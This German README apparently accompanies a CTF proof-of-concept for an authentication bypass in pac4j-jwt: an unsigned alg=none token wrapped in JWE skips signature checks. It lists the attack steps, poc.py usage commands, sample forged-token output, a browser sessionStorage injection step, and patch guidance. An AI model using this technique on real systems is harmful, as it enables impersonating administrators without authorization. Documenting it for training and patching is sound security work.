
Proof-of-Concept (PoC) für eine Authentifizierungs-Bypass-Schwachstelle, die Anwendungen betrifft, die pac4j-jwt mit JWE (JSON Web Encryption) verwenden.
Haftungsausschluss: Dieser Exploit wurde ausschließlich für die zurückgezogene HackTheBox-Maschine „Principal" entwickelt. Nur für Bildungszwecke. Nicht gegen Systeme verwenden, die dir nicht gehören oder für die du keine ausdrückliche Testgenehmigung hast.
| Feld | Details |
|---|
| Name | Principal |
| Plattform | HackTheBox |
| Schwierigkeit | — |
| Status | Zurückgezogen |
Betroffene Bibliothek: pac4j-jwt < 4.5.9 / 5.7.9 / 6.3.3
Schweregrad: Kritisch
Typ: Authentifizierungsumgehung
Ein Logikfehler in JwtAuthenticator ermöglicht es einem Angreifer, die Authentifizierung zu umgehen, indem ein unsignierter PlainJWT (alg=none) in ein JWE (verschlüsseltes JWT) verpackt wird.
Wenn der Server das JWE entschlüsselt, versucht er, das innere Token als SignedJWT zu parsen. Da das innere Token ein PlainJWT ist, ist das SignedJWT-Objekt null und die Signaturprüfung wird vollständig übersprungen. Der Server erstellt dann ein Benutzerprofil aus den unverifizierten Claims – was eine vollständige Identitätsübernahme jedes Benutzers, einschließlich Administratoren, ermöglicht.
Bösartige Claims erstellen (sub=admin, role=ROLE_ADMIN)
↓
Unsignierten PlainJWT erstellen (alg=none)
↓
PlainJWT mit dem RSA-öffentlichen Schlüssel des Servers in JWE verpacken
↓
JWE-Token an den Server senden
↓
Server entschlüsselt JWE → findet PlainJWT → überspringt Signaturprüfung → gewährt Zugriff
Siehe exploit.py
pac4j-jwt auf eine gepatchte Version aktualisieren:
4.5.9 oder neuer5.7.9 oder neuer6.3.3 oder neuerOder PlainJWT-innere Token nach der JWE-Entschlüsselung explizit ablehnen:
if (jwt instanceof PlainJWT) {
throw new CredentialsException("PlainJWT not allowed inside JWE");
}
/api/auth/jwks
alg: noneMit dem öffentlichen Schlüssel in JWE verpacken
Senden als:
Authorization: Bearer <token>
pip install jwcrypto requests
python3 poc.py \
--jwks-url http://target/api/auth/jwks \
--target http://target/api/dashboard
[+] Forged Token:
eyJhbGciOiJSU0EtT0FFUC0yNTYi...
[+] Browser Injection:
sessionStorage.setItem("auth_token", "eyJhbGciOiJSU0EtT0FFUC0yNTYi...")
[+] Status: 200
{"user":{"username":"admin","role":"ROLE_ADMIN"}}
DevTools → Konsole öffnen:
sessionStorage.setItem("auth_token", "<PASTE_TOKEN_HERE>")
Dann navigieren zu:
/dashboard
alg: none ablehnen